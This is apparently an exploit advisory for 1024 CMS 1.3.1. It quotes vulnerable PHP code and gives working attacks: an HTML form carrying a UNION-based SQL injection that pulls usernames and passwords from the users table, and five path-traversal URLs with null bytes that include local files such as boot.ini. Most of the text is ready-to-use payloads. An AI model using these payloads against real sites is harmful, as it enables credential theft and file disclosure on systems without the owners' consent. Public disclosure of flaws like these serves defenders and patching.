1024 CMS 1.3.1 (LFI/SQL) Multiple Remote Vulnerabilities

  vuln.: 1024 CMS 1.3.1 (LFI/SQL) Multiple Vulnerabilities   script info and download: http://www.1024cms.com   author: irk4z[at]yahoo.pl   greets to: str0ke, wacky '-----------------------------------------------------------------------------' # sql-injection:  code:    /admin/ops/findip/ajax/search.php:    ...  8     $get_users = mysql_query("SELECT id, username FROM ".$prefix."users WHERE ip='".$_POST['ip']."'") or die("cannot get ips: ".mysql_error());    ...        ^ if magic_quotes_gpc==off, we can get all usernames and passwords from database ;]  exploit:     <form method="POST" action="http://[host]/[path]/admin/ops/findip/ajax/search.php">    <input style="width:600px" type="text" name="ip" value="z' AND 1=2 UNION SELECT 1,concat(username,0x20,password) FROM otatf_users/*" />    <input type="submit" value="ok" />   </form> # local file inclusion:  code:    /admin/ops/reports/ops/download.php, /admin/ops/reports/ops/forum.php, /admin/ops/reports/ops/news.php:    ...  1     <?php  2     include("./themes/".$admin_theme_dir."/templates/default_header.tpl");    ...      /pages/print/default/ops/news.php:    ...  5     if(!isset($_GET['id']) || !is_numeric($_GET['id'])) die("ID Not Set");  6     include("./lang/".$lang."/news/default.php");    ...    /pages/download/default/ops/search.php:    ...  1     <?php  2     include("./themes/".$theme_dir."/templates/default_header.tpl");    ...  exploits:    http://[site]/[path]/admin/ops/reports/ops/download.php?admin_theme_dir=../../../../../../../../../boot.ini%00    http://[site]/[path]/admin/ops/reports/ops/forum.php?admin_theme_dir=../../../../../../../../../boot.ini%00    http://[site]/[path]/admin/ops/reports/ops/news.php?admin_theme_dir=../../../../../../../../../boot.ini%00    http://[site]/[path]/pages/print/default/ops/news.php?id=1&lang=../../../../../../../../../boot.ini%00    http://[site]/[path]/pages/download/default/ops/search.php?theme_dir=../../../../../../../../../boot.ini%00